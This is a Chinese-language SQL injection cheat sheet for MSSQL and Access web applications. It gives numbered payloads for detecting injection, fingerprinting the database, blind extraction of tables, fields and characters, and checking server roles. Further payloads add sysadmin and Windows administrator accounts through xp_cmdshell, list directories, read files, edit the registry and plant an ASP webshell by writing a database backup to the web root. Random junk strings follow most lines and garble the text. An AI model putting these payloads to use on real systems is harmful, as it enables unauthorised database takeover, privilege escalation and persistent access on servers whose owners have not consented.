1.判断是否有注入;and 1=1 ;and 1=2 #SHmAB
2.初步判断是否是mssql ;and user>0 _86#$|kw
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3.注入参数是字符'and [查询条件] and ''=' a cSm+t
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' "!9hcv-;
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5.判断数据库系统 8>E_bxC
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;and (select count(*) from sysobjects)>0 mssql woH B![Q,
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;and (select count(*) from msysobjects)>0 access uN:|4/;{&
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 COE,pb17
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 %TY;}V59 b
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 fkprTk^#
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9.(1)猜字段的ascii值(access) _h%
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 0Cox+QJt
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(2)猜字段的ascii值(mssql) _f~(g1sE
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ; bBz<
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10.测试权限结构(mssql) y^rcUPLT
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- J3]!<v=
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ]x8_f6;D
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- Quc,,#u
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- uCc.dluU
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- _xg4;W6M=
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- -mSiZ
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;and 1=(select IS_MEMBER('db_owner'));-- 81\$X
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11.添加mssql和系统的帐户 Cd4a7<-
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;exec master.dbo.sp_addlogin username;-- <OKzb3e
;exec master.dbo.sp_password null,username,password;-- x+kP,v
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 2<dl23
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;exec master.dbo.xp_cmdshell 'net user username password FiTP-~
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- s\c*ibxM,
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;exec master.dbo.xp_cmdshell 'net user username password /add';--
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 2b+0}u>a
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12.(1)遍历目录 V}1D1.@
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;create table dirs(paths varchar(100), id int) u3!aKXnv<
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;insert dirs exec master.dbo.xp_dirtree 'c:\' S.;>:Dd[K
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;and (select top 1 paths from dirs)>0 8\-Q(9q(
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) HaP0;9q
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(2)遍历目录 RB5fn+FiZ
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- L lP
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 Qm|Q0u
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 nwwKef(
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 [OI&_WIw
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 %21i#R`E
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13.mssql中的存储过程 ILt95l
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xp_regenumvalues 注册表根键, 子键 qp(F}@
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 q&IO9/[dk
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xp_regread 根键,子键,键值名 K)2ZH@
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;exec xp_regread ICNS+KsI
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 Gt&x<
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xp_regwrite 根键,子键, 值名, 值类型, 值 0B(<I?a/
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 *_<P%J
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 WA-`
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xp_regdeletevalue 根键,子键,值名 RUTlwTdv
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 2[&3$-]
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 Jtj_Rl
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14.mssql的backup创建webshell i2{xW`AcUh
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use model /^~3Ib8Fw+
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create table cmd(str image); +w Oa
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insert into cmd(str) values (''); i/rdPbq
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backup database model to disk='c:\l.asp'; M.K-)r,
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15.mssql内置函数 $'3`$
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;and (select @@version)>0 获得Windows的版本号 u,0N[.&N
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa Sf>R7.lpP
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;and (select user_name())>0 爆当前系统的连接用户 !Gu,X'#Ab
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;and (select db_name())>0 得到当前连接的数据库 tE0DST/
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16.简洁的webshell LTu
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use model >_QC_UX>4i
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create table cmd(str image); Gx?p,Fj
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insert into cmd(str) values (''); M:|Z3p K
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backup database model to disk='g:\wwwtest\l.asp';